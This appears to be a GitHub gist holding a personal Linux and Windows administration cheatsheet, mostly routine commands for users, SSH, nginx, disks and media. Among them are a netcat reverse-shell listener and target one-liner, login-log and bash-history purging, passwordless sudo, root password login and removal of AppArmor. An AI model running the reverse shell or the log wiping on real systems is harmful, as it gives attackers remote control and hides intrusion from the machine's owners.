Skip to content

Instantly share code, notes, and snippets.

@crazyoptimist
Last active October 31, 2024 19:53
Show Gist options
  • Save crazyoptimist/19fd2a669849662e7d910ca8ec691fd2 to your computer and use it in GitHub Desktop.
Save crazyoptimist/19fd2a669849662e7d910ca8ec691fd2 to your computer and use it in GitHub Desktop.
crazyoptimist's linux cheatsheet

Run the previous command as root

sudo !!

Reverse search command history

<Ctrl+r>

Get back to $HOME

cd

Get back to the previous directory

cd -

Set alias(shortcut) for commands

In $HOME/.bashrc or elsewhere

alias gpush="git push"

Check OS version

cat /etc/os-release
cat /etc/lsb-release
cat /etc/issue

Check memory status

free -h

Check disk usage

ncdu

Check number of CPUs

cat /proc/cpuinfo | awk '/^processor/{print $3}' | wc -l

List all linux users

cut -d\: -f1 /etc/passwd

Bulk operation

touch a{1..9}.txt
cp a{1..9}.txt backup-dir

Check disk space globally

df -h

Check directory/file size

du -h [file/dir name]

Uninstall applications on Arch

# This is an `apt autoremove` counterpart
pacman -Rns $(pacman -Qdtq)

Firewall configuration for SSH on CentOS/Fedora

If password login is enabled, failed login attempts will be very annoying.

Below config will block those attempts in CentOS.

firewall-cmd --permanent --add-source=185.75.166.0/24 --zone=trusted
firewall-cmd --permanent --add-service=ssh --zone trusted
firewall-cmd --permanent --remove-service=ssh --zone-public
firewall-cmd –reload

Check login history

last
sudo lastb

Purge login history

>/var/log/wtmp
>/var/log/btmp

Clear bash history

history -c

or

>~/.bash_history

Add a sudo user on Debian/Ubuntu

adduser debian
usermod -aG sudo debian
getent group sudo  # verify
su - debian  # login as debian

debian is the new username

Add a user to the sudo group

# Debian
usermod -aG sudo username

# CentOS
usermod -aG wheel username

Then run this

visudo

And add this line to the end of the file /etc/sudoers

username ALL=(ALL) NOPASSWD:ALL

Add a user to a specific group

sudo adduser username groupname

Then reboot.

Enable password login

vim /etc/ssh/sshd_config

Edit the content like so:

PasswordAuthentication yes
PermitRootLogin prohibit-password -> PermitRootLogin yes

Then run this:

systemctl restart sshd

Restrict access via IP address, only allow via domain name in nginx

# ip-guard.conf or name it as you like
server {
  listen 80 default_server;
  return 444;
}

Check your system version

lsb_release -a
cat /etc/issue
cat /etc/os-release
hostnamectl

Creat a Page Rule in Cloudflare

*crazyoptimist.net/*
# Forwarding URL : 301 Permanent Redirect
https://crazyoptimist.net/$2

Redirect NON-WWW TO WWW in nginx

server {
    if ($host = crazyoptimist.net) {
        return 301 https://www.$host$request_uri;
    }
    server_name crazyoptimist.net;
    listen 80;
    return 404; # managed by Certbot
}
server {
    if ($host = crazyoptimist.net) {
        return 301 https://www.$host$request_uri;
    }
    server_name crazyoptimist.net;
    listen 443 ssl;
    return 404; # managed by Certbot
}

Laptop Lid Configuration in Manjaro

To make the computer running after closing the lid.

HandleLidSwitch=ignore in  /etc/systemd/logind.conf
IgnoreLid=true in /etc/UPower/UPower.conf

Fix broken apt installation

apt --fix-broken install -y

Change shell

sudo cat /etc/shells
chsh <username>

Then select /bin/bash or /bin/zsh 😊

Password login and run multiple commands via SSH

sshpass -p '!QAZXSW@' ssh [email protected] "cd /var/www/ebay.paytroy && sudo git pull"

Run multiple commands at a time

  • The semicolon (;) operator allows you to execute multiple commands in succession, regardless of whether each previous command succeeds.
  • If you want the second command to only run if the first command is successful, separate the commands with the logical AND operator, which is two ampersands ( && ).

Force logout for a specific IP address

who -u
sudo kill “pid”

List installed programs on Debian/Ubuntu

apt list –-installed

SSH tunneling to localhost

ssh -L localPort:localhost:hostPort -C -N -l username hostname

Update GRUB delay on boot

vim /etc/default/grub
GRUB_TIMEOUT=2
sudo update-grub

Install desktop environment, configure remote access to a VM

apt update -y && apt upgrade -y
apt install xfce4 xfce4-goodies
systemctl enable --now lightdm
# download anydesk and run:
anydesk --get-id
echo your-password | anydesk --set-password

Configure Desktop Environment

# change the default display manager(gdm3, lightdm, sddm, lxdm)
# kde only goes with sddm
sudo apt install sddm
# if you only need to switch(i.e. already installed it)
sudo dpkg-reconfigure sddm
# start the service
sudo systemctl enable sddm
sudo systemctl disable lightdm
# change the login manager, specifically in kde
# open System Settings, go to Startup and Shutdown, and figure it out

Solved: cannot kill Docker container - permission denied

# it turned out that AppArmor service was messing up with Docker
sudo aa-remove-unknown
docker container kill $(docker ps -q)
# or
sudo apt-get purge --auto-remove apparmor
sudo service docker restart
docker system prune --all --volumes

Resize a patition(even a mounted boot patition) without losing data

Run lsblk which will print something like:

NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda      8:0    0   200G  0 disk
└─sda1   8:1    0   200G  0 part /
sdb      8:16   0   400G  0 disk
└─sdb1   8:17   0 199.5G  0 part /mnt

Run fdisk like this:

fdisk /dev/sdb
# carefully check where the partition starts
p
# remove the existing patition
d
# create a new patition with the whole free space
n
# write changes
w

Resize the file system, ext4 can be resized online.

resize2fs /dev/sdb1

Run lsblk to confirm the result:

NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda      8:0    0   200G  0 disk
└─sda1   8:1    0   200G  0 part /
sdb      8:16   0   400G  0 disk
└─sdb1   8:17   0   400G  0 part /mnt

Reverse Shell

  • listen for linux target
nc -lnvp MY_PORT -s MY_PUBLIC_IP
  • script on linux target
nc -e /bin/bash MY_PUBLIC_IP MY_PORT

Kickout User

w

This command will display all the live users on the machine.
Checkout TTY and WHAT columns.

sudo pkill -9 -t pts/1

pts/1 is just an example value from TTY column.

WSL Memory Capping

Go to %USERPROFILE%

Create a file .wslconfig

[wsl2]

# Limits VM memory to use no more than 8 GB, this can be set as whole numbers using GB or MB
memory=8GB 

# Limits number of cores
processors=4

/etc/wsl.conf is used for distro-specific config.

WSL file system access from Windows

Type \\wsl$ in file explorer

Increase max open file limit

It's 1024 by default. Check by ulimit -n or ulimit -a

sudo prlimit --nofile=8192 --pid $$; ulimit -n 8192

Kill a service running on a specific port

First find the Process ID (PID) associated with the port, eg. 5000

lsof -i tcp:5000

Kill the process:

kill -9 <PID>

Network Manager CLI

man nmcli
# Show all active network devices
nmcli device show
# Show all active connections
nmcli connection show --active
# Delete a connection permanently
nmcli connection delete <connection name>

Check open ports

List all ports in use

sudo lsof -nP -iTCP -sTCP:LISTEN

Check a specific port (if it's already listening or available for mapping)

sudo lsof -nP -i:[port-number]

Vim search in the working/sub directory

:vimgrep /pattern/./**/*.ext

:vimgrep /pattern/subdirname/**/*.ext

For all extensions, you can use *.*

Install yay (an AUR helper) on Arch

sudo pacman -S --needed base-devel git
git clone https://aur.archlinux.org/yay-git.git
cd yay
makepkg -si

Inspect processes

# Get PIDs of a service
pidof <Service Name>
pgrep <Service Name (stripped the first 15 characters)>
# Kill it
sudo kill -9 <PID>
# Get the UID from a PID
cat /proc/<PID>/status | grep Uid
# Get the username from a UID
id -un
# Get the groupname from a UID
id -gn

User specific systemd service

mkdir -p $HOME/.config/systemd/user/<Service Name>.service
systemctl --user status <Service Name>
systemctl --user list-units --type=target

Sign a Windows binary using a self-signed cert

$cert = New-SelfSignedCertificate -Subject "Screen Capture Control Panel" -CertStoreLocation "./" -HashAlgorithm sha256 -type CodeSigning

$pwd = ConvertTo-SecureString -String "{123456}" -Force -AsPlainText

Export-PfxCertificate -cert $cert -FilePath screen-client.pfx -Password $pwd

signtool.exe sign /f screen-client.pfx /fd sha256 /p "{123456}" screen-client.exe

Manage users on Windows

Use this RUN command.

netplwiz

Backup/Restore Windows Drivers

Use pnputil in CMD

pnputil /export-driver * "<full path of the destination folder>"
pnputil /add-driver "<full path of the backup folder>\*.inf" /subdirs /install

Install and configure CJK fonts on Arch Linux

sudo pacman -S noto-fonts noto-fonts-cjk
sudo pacman -Sy fcitx5-im fcitx5-hangul fcitx5-configtool

Fix NTFS disk mount failure

Error mounting /dev/sdb2 at /run/media: "wrong fs type, bad option, bad superblock."

sudo ntfsfix -d /dev/sdb2

Trim video/audio using ffmpeg

ffmpeg -i input.mp4 -ss 00:05:10 -to 00:15:30 -c:v copy -c:a copy output.mp4

Adjust video size (shrink) using ffmpeg

# scale to one-quarter; use iw/4 for one-half
ffmpeg -i input.mp4 -vf "scale=trunc(iw/8)*2:trunc(ih/8)*2" -vcodec libx265 -crf 28 out.mp4

Edit EFI boot entries on Windows

bcdedit /?
bcdedit /enum firmware

Edit EFI boot entries on Linux

Install and use efibootmgr

Install man on Arch Linux

sudo pacman -S man-db
sudo mandb

TLP battery conservation mode on/off Lenovo Ideapad (Non-Thinkpad series)

sudo tlp setcharge STOP_CHARGE_THRESH 1

Reset a disk to factory settings on Windows.

Use diskpart.exe

list disk

select disk 2

# this time you'll see an asterisk before the selected disk name
list disk

# reset the selected disk to factory settings
clean

exit
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment